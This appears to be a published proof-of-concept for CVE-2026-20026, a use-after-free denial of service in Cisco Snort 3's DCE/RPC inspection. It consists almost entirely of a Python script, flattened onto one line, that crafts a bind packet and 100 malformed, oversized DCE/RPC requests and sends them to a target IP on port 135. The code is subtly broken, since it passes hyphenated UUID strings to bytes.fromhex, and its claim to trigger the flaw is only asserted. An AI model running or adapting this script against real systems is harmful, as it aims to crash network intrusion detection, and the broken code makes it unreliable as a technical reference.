CVE-2026-20026 Cisco Snort 3 DCE/RPC缓冲区Use-After-Free拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-20026 PoC - DCE/RPC Request Fuzzer for Snort 3 This PoC demonstrates sending malformed DCE/RPC requests to trigger use-after-free vulnerability in Snort 3 detection engine. Note: For authorized security testing only. """ import socket import struct import sys import time def create_dcerpc_bind_packet(): """Create a DCE/RPC bind packet with potential trigger data""" # DCE/RPC Header version = b'\x05' # RPC version ptype = b'\x0b' # Packet type: bind pfc_flags = b'\x03' # Flags data_representation = b'\x10\x00\x00\x00' frag_length = struct.pack('<H', 0x0048) # Fragment length auth_length = struct.pack('<H', 0x0000) # Auth length call_id = struct.pack('<I', 0x00000001) # Context items num_contexts = b'\x01' context_id = b'\x00\x01' # UUID for interface interface_uuid = bytes.fromhex('e1af8308-5d1f-11c9-91a4-08002b14a0fa') interface_version = struct.pack('<H', 0x0005) # Transfer syntax transfer_syntax = bytes.fromhex('8a885d04-1ceb-11c9-9fe8-08002b14a0fa') transfer_version = struct.pack('<I', 0x00000002) header = version + ptype + pfc_flags + data_representation + \ frag_length + auth_length + call_id context_item = num_contexts + context_id + b'\x01\x00' + \ interface_uuid + interface_version + b'\x00\x00' + \ transfer_syntax + transfer_version return header + context_item def create_malformed_dcerpc_request(call_id=1): """Create a malformed DCE/RPC request to trigger use-after-free""" # DCE/RPC Request Header version = b'\x05' ptype = b'\x00' # Request pfc_flags = b'\x03' data_representation = b'\x10\x00\x00\x00' # Intentionally malformed fragment length frag_length = struct.pack('<H', 0xFFFF) # Oversized length auth_length = struct.pack('<H', 0x0000) # Context and opnum context_id = b'\x00\x00' opnum = struct.pack('<H', 0x0000) # Object UUID object_uuid = bytes.fromhex('00000000-0000-0000-0000-000000000000') # Stub data - oversized to trigger buffer issues stub_data = b'A' * 4096 header = version + ptype + pfc_flags + data_representation + \ frag_length + auth_length + call_id.to_bytes(4, 'little') + \ object_uuid + context_id + opnum return header + stub_data def send_dcerpc_packets(target_ip, target_port=135, num_packets=100): """ Send malformed DCE/RPC packets to target Args: target_ip: Target IP address target_port: DCE/RPC endpoint mapper port (default 135) num_packets: Number of packets to send """ print(f"[*] Starting CVE-2026-20026 PoC") print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending {num_packets} malformed DCE/RPC packets...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send bind packet first bind_packet = create_dcerpc_bind_packet() sock.send(bind_packet) print("[*] Bind packet sent") time.sleep(0.5) # Send malformed requests to trigger use-after-free for i in range(num_packets): request = create_malformed_dcerpc_request(call_id=i+1) sock.send(request) if i % 10 == 0: print(f"[*] Sent {i} packets...") print(f"[+] Completed sending {num_packets} packets") sock.close() except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_20026_poc.py <target_ip> [port] [num_packets]") print("Example: python3 cve_2026_20026_poc.py 192.168.1.100 135 100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 135 count = int(sys.argv[3]) if len(sys.argv) > 3 else 100 send_dcerpc_packets(target, port, count)